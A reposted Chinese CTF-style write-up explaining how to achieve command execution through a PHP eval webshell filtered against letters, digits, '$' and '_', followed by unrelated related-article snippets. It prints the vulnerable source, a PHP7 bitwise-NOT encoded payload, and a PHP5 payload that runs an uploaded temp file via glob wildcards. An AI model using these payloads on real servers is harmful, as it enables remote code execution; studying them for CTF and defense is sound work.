无字母数字webshell之命令执行

目录

1.源码

2.题目解析

3.利用方法

3.1 PHP7下如何实现

3.2PHP5下如何实现

3.2.1 shell下可以利用. 来执行任意脚本

3.2.2 Linux文件名支持用glob通配符代替        


1.题目源码

<?php
if(isset($_GET['code'])){$code = $_GET['code'];if(strlen($code)>35){die("Long.");}if(preg_match("/[A-Za-z0-9_$]+/",$code)){die("NO.");}eval($code);
}else{highlight_file(__FILE__);
}

2.题目解析

  根据上述代码可以得出:

  1. webshell长度不超过35位

  2. 除了不包含字母数字,还不能包含$_

因为$不能使用了,所以我们无法构造PHP中的变量。所以,如何解决这个问题?

3.利用方法

3.1 PHP7下如何实现

 PHP7前是不允许用`($a)();`这样的方法来执行动态函数的,但PHP7中增加了对此的支持。可以通过('phpinfo')();来执行函数,第一个括号中可以是任意PHP表达式。

不能使用字母,所以我们使用url编码来表示:

(%8F%97%8F%96%91%99%90)();

因为在linux中~是表示反码,既就是取反。刚好加在前面就可以。所以我们得到:

(~%8F%97%8F%96%91%99%90)();

测试之后结果如下:

测试结束,方法可用

3.2PHP5下如何实现

因为php5并不支持刚才这种表达方式,所以我们必须得另辟蹊径

3.2.1 shell下可以利用. 来执行任意脚本

考虑用“反引号”+“shell”的方式来getshell,因为反引号不属于“字母”、“数字”,所以我们可以执行统命令,但问题来了:如何利用无字母、数字、$的系统命令来getshell?

它的作用和source一样,就是用当前的shell执行一个文件中的命令。比如:当前运行的shell是bash,则. file的意思就是用bash执行file文件中的命令。而且用. file执行文件,是不需要file有x权限的。    

如果目标服务器上有一个我们可控的文件,那不就可以利用.来执行它了吗?

        这个文件也很好得到,我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。

3.2.2 Linux文件名支持用glob通配符代替
        

 执行. /tmp/phpXXXXXX,也是有字母的。此时就可以用到Linux下的glob通配符:

 1)*可以代替0个及以上任意字符

 2)?可以代表1个任意字符

 那么,/tmp/phpXXXXXX就可以表示为/*/?????????或/???/?????????。

但如果执行. /???/?????????,页面会显示错误

这是由于执行. /???/?????????通配符后的文件有很多

     可以看出存在这么多的文件,执行第一个匹配上的文件(即/bin/addr2l ine)的时候就已经出现了错误,导致整个流程停止,根本不会执行到我们上传的文件。

就跟正则表达式类似,glob支持利用[0-9]来表示一个范围。

     我们再来看看之前列出可能干扰我们的文件,发现所有文件名都是小写,只有PHP生成的临时文件包含大写字母。我们只要找到一个可以表示“大写字母”的glob通配符,就能精准找到我们要执行的文件。

翻开ascii码表,可见大写字母位于@与[之间:

所以我们可以利用[@-[]来表示大写字母,构造如下payload:

. /???/????????[@-[]

前端页面源码 


<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title>
</head><body><form action="web.php" method="post" enctype="multipart/form-data"><input type="file" name="upload_file" id=""><input type="submit" value="submit"></form>
</body>

web.php源码 

<?php
if(isset($_GET['code'])){$code = $_GET['code'];if(strlen($code)>35){die("Long.");}if(preg_match("/[A-Za-z0-9_$]+/",$code)){die("NO.");}eval($code);
}else{highlight_file(__FILE__);
}

编写一个txt文件上传至前端页面

接下来使burp suite进行测试

在第一行传入payload:

?><?=`.+/%3f%3f%3f/%3f%3f%3f%3f%3f%3f%3f%3f%[%40-[]`%3b 

 结果如下:

然后将我们修改好的包发送,得到如下结果:

 测试成功!

以上就是在php7和php5下的无字母数字的webshell 命令执行。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/398095.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

本地phpstudy部署算命系统,用户端是H5页面,支持微信支付宝支付,支持微信支付宝登录

算命系统本地部署教程 0. 技术架构1. 启动Apache、MySQL服务2. 创建前台和后台两个网站3. Navicat连接数据库4. 登录后台是长这个样子5. 登录前台登录样子6. 代码结构是 0. 技术架构 前端&#xff1a;HTMLCSSJquery 后端&#xff1a;PHP 数据库&#xff1a;MySQL 1. 启动Ap…

C# OnnxRuntime部署LivePortrait实现快速、高质量的人像驱动视频生成

目录 效果 说明 项目 模型信息 代码 下载 效果 LivePortrait实现快速、高质量的人像驱动视频生成 说明 官网地址&#xff1a;https://github.com/KwaiVGI/LivePortrait 代码实现参考&#xff1a;https://github.com/hpc203/liveportrait-onnxrun 模型下载&#xff1a;…

Haproxy简介及配置详解

一、Haproxy简介 官网&#xff1a; 企业版网站: https://www.haproxy.com 社区版网站: http://www.haproxy.org github: https://github.com/haprox Haproxy是法国人Willy Tarreaus开发的一款开源软件&#xff0c;能够提供高性能、负载均衡以及基于HTTP和TCP应用个代理&…

python-flask-上传多个文件并存储

本地环境&#xff1a;win10 / centos6 &#xff0c; python3 flask入门看这里&#xff1a; ↓ python-flask结合bootstrap实现网页小工具实例-半小时速通版_bootstrap flask-CSDN博客 https://blog.csdn.net/pxy7896/article/details/137854455 动态添加和删除表格中的行&…

【实用工具】Stirling-PDF: 优质开源的PDF处理工具/编辑工具-含入门安装教程

文章目录 项目简介功能展示Page Operations 页面操作Conversion Operations 转换操作Security & Permissions 安全与权限Other Operations 其他业务 如何安装并使用Docker RunDocker Compose 项目简介 这是一款使用 Docker 的基于本地托管网络的强大 PDF 操作工具。它能让…

头狼择校小程序

综述介绍 头狼择校&#xff0c;是头狼择™高校的简称&#xff0c;我们专注高校、大学的择校。倡导先嗅就业再择校&#xff0c;是预约工具和对话平台。帮您嗅招办、嗅教授、嗅学姐&#xff0c;预约择校有关的老师、顾问&#xff0c;助力考大学和考研的“双考”学生及家长了解就…

「OC」暑假第二周——3Gshared的仿写与学生管理系统

「OC」暑假第二周——3Gshared的仿写与学生管理系统 文章目录 「OC」暑假第二周——3Gshared的仿写与学生管理系统3Gshared登陆注册页面首页搜索推荐和活动我的我的推荐和我推荐的我的信息 设置 学生管理系统登陆注册界面主页面增删改查以及排序 总结 3Gshared 登陆注册页面 这…

【NetTopologySuite类库】创建可变距离的缓冲区

介绍 API地址 沿直线在每个顶点处创建具有不同缓冲区距离的缓冲区多边形。 只支持线作为输入&#xff0c;因为缓冲区宽度通常需要为每条线单独指定。 示例 var wkt "linestring(0 0,1 0, 2 0,3 1,4 1,5 1,6 -1,7 -1,8 -1)"; var r new WKTReader(); var g r.…

物资管理系统

可用于期末作业或Java课设 系统功能主要包括&#xff1a; 管理员管理&#xff0c;可以进行管理员信息的添加修改和删除以及修改密码。 客户管理&#xff1a;可以进行客户信息的增删查改&#xff0c;也可以进行物资的租赁。 建材管理&#xff1a;可以查看建材的库存数量…

Spring MVC框架学习笔记

学习视频:10001 Spring MVC概述_哔哩哔哩_bilibili~11005 请求映射方式_哔哩哔哩_bilibili 目录 1.概述 Java EE三层架构 Spring MVC在三层架构中的位置 ​编辑 Spring MVC在表现层的作用 Spring MVC的特点 2.Spring MVC入门程序 代码实现 Spring MVC工作原理 Spring …

《Java编程自学:核心概念与技巧》 第1章: 对象的本质

《Java编程自学&#xff1a;核心概念与技巧》 第1章&#xff1a; 对象的本质 《Java编程自学&#xff1a;核心概念与技巧》第2章 启程&#xff1a;Hello, World&#xff01;的探索之旅 1.1 从机器视角到问题视角的演变 在计算机科学的发展历程中&#xff0c;我们见证了从机器…

基于STM32的智能宠物喂食器

目录 引言环境准备工作 硬件准备软件安装与配置系统设计 系统架构硬件连接代码实现 初始化代码控制代码应用场景 宠物定时喂食远程控制喂食常见问题及解决方案 常见问题解决方案结论 1. 引言 智能宠物喂食器可以通过定时和远程控制&#xff0c;实现对宠物的科学喂养。本文将…

「11月·香港」第三届人工智能、人机交互和机器人国际学术会议(AIHCIR 2024)

第三届人工智能、人机交互和机器人国际学术会议&#xff08;AIHCIR 2024&#xff09;组委会热忱地邀请您参与本届大会。本届大会旨在聚集领先的科学家、研究人员和学者&#xff0c;共同交流和分享在人工智能、人机交互和机器人各个方面的经验和研究成果&#xff0c;为研究人员、…

docker容器常用指令,dockerfile

docker&#xff1a;容器&#xff0c;主要是解决环境迁移的问题&#xff0c;将环境放入docker中&#xff0c;打包成镜像。 docker的基本组成&#xff1a;镜像(image)&#xff0c;容器(container)&#xff0c;仓库(repository)。镜像相当于类&#xff0c;容器相当于类的实例对象…

数学建模~~追逐仿真问题

目录 1.前景介绍 2.题目描述 3.核心思路 4.思路分析 5.代码分析 5.1准备工作 5.2设置循环 5.3终止循环 5.4绘制图形 5.5完整代码 1.前景介绍 今天上午的数学建模培训王老师介绍的这个数学建模相关的经验真的是让我受益匪浅&#xff0c;让我对于数学建模有了更加清晰的…

简单的docker学习 第13章 CI/CD与Jenkins(下)

第13章 CI/CD 与 Jenkins 13.13 自由风格的 CI 操作(最终架构) 前面的架构存在的问题是&#xff0c;若有多个目标服务器都需要使用该镜像&#xff0c;那么每个目标服务器都需要在本地构建镜像&#xff0c;形成系统资源浪费。若能够在 Jenkins 中将镜像相撞构建好并推送到 Har…

【区块链+乡村振兴】福建三明某县农业农村局:茶叶认标购茶区块链溯源平台 | FISCO BCOS应用案例

为了有效打击市场上茶叶假冒伪劣、以次充好的违法行为&#xff0c;从而激励企业参与维护的积极性&#xff0c;促进茶叶产业的良 性循环&#xff0c;进而塑造高品质品牌价值&#xff0c;福建省三明市某县农业农村局基于 FISCO BCOS 建设了茶叶认标购茶区块链溯源平台&#xff0c…

linux内核驱动:GIC中断总结

目录 前言一、整体介绍二、GIC的模块功能说明三、函数接口、数据结构和驱动文件驱动文件数据结构 四、中断使用流程五、中断的扩展 前言 本文基于linux5.10.xxx总结gic使用&#xff0c;gic版本为gicv3&#xff0c;包括gic结构、驱动代码、使用等&#xff0c;等&#xff0c;处理…

入门学习使用overleaf和latex

文章目录 1.下载对应的latex论文模板2.overleaf平台的使用2.1overleaf平台的介绍2.2overleaf平台模板文件的上传2.3latex语法的学习2.3.2 分段(如下图显示)2.3.3 其他2.3.4简单latex实操2.3.5 换行符和换页符2.3.6左右居中对齐2.3.7 字体设置2.3.8插入固定位置图片2.3.9文字包围…

基于区块链的数字身份应用开发(上)

基于区块链的数字身份应用开发(上&#xff09; 任务一&#xff1a;环境准备 &#xff08;1&#xff09;更新镜像源 apt update&#xff08;2&#xff09;安装openssl、jdk、git &#xff08;3&#xff09;配置JAVA_HOME环境变量 echo "export JAVA_HOME/usr/lib/jvm/j…